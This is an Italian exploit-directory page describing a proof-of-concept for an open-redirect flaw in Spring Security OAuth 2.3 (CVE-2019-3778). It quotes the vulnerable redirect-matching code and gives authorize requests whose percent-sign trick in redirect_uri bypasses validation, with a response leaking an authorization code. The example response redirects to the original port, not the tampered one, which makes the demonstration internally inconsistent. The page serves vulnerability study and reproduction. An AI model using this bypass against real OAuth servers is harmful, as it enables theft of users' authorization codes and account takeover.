Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection — Spring Security OAuth 2.3 Redirezione Aperta Analisi e Riproduzione | Kitploit
Strumenti/GitHubGitHub/bbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubbbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection

CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection

Spring Security OAuth 2.3 Redirezione Aperta Analisi e Riproduzione

Vedi Repository
16 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection

Spring Security OAuth 2.3 Open Redirection - Analisi e Riproduzione

Exploit Title: Redirect aperto in spring-security-oauth2

Date: 17 June 2019

Exploit Author: Riemann

Vendor Homepage: https://spring.io/projects/spring-security-oauth

Software Link: https://spring.io

Version: Spring Security OAuth versioni 2.3 precedenti alla 2.3.6 - org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

Tested on: UBUNTU 16.04 LTS - org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

CVE : CVE-2019-11269 | CVE-2019-3778

Descrizione

Le versioni di Spring Security OAuth 2.3 precedenti alla 2.3.6, 2.2 precedenti alla 2.2.5, 2.1 precedenti alla 2.1.5 e 2.0 precedenti alla 2.0.18, così come le versioni precedenti non supportate, potrebbero essere suscettibili a un attacco di redirect aperto che può compromettere un codice di autorizzazione. Un utente malintenzionato o un attaccante può creare una richiesta all'endpoint di autorizzazione utilizzando il tipo di grant del codice di autorizzazione e specificare un URI di reindirizzamento manipolato tramite il parametro redirect_uri. Ciò può far sì che il server di autorizzazione reindirizzi l'user-agent del proprietario della risorsa verso un URI sotto il controllo dell'attaccante, con il codice di autorizzazione compromesso.

VULNERABILITÀ:

Manipolando il parametro REDIRECT_URI, un attaccante può effettivamente bypassare la validazione.

Il codice che causa la vulnerabilità si trova nel pacchetto org.springframework.security.oauth2.provider.endpoint La classe: DefaultRedirectResolver, il cui metodo obtainMatchingRedirect non esegue una corretta sanificazione

/** * Attempt to match one of the registered URIs to the that of the requested one. * * @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty. * @param requestedRedirect the URI used as part of the request * @return the matching URI * @throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");

root@kitploit:~
	if (redirectUris.size() == 1 && requestedRedirect == null) {
		return redirectUris.iterator().next();
	}
	for (String redirectUri : redirectUris) {
		if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) {
			return requestedRedirect;
		}
	}
	throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect
			+ " does not match one of the registered values: " + redirectUris.toString());
}

VETTORE D'ATTACCO POC

La seguente richiesta effettuata dall'APP CLIENT dopo che l'utente ha effettuato l'accesso contiene il parametro REDIRECT_URI. La validazione viene bypassata semplicemente aggiungendo un segno di percentuale, che innesca un reindirizzamento invece dell'errore RedirectMismatchException.

La RICHIESTA ORIGINALE contenente un URI valido: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1

L'attaccante quindi inganna l'applicazione modificando completamente l'URI verso un altro server aggiungendo, ad esempio, un segno di percentuale:

GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1

La RISPOSTA, infatti, non produce il previsto errore OAUTH, ma reindirizza l'utente:

HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close

Scarica lo strumento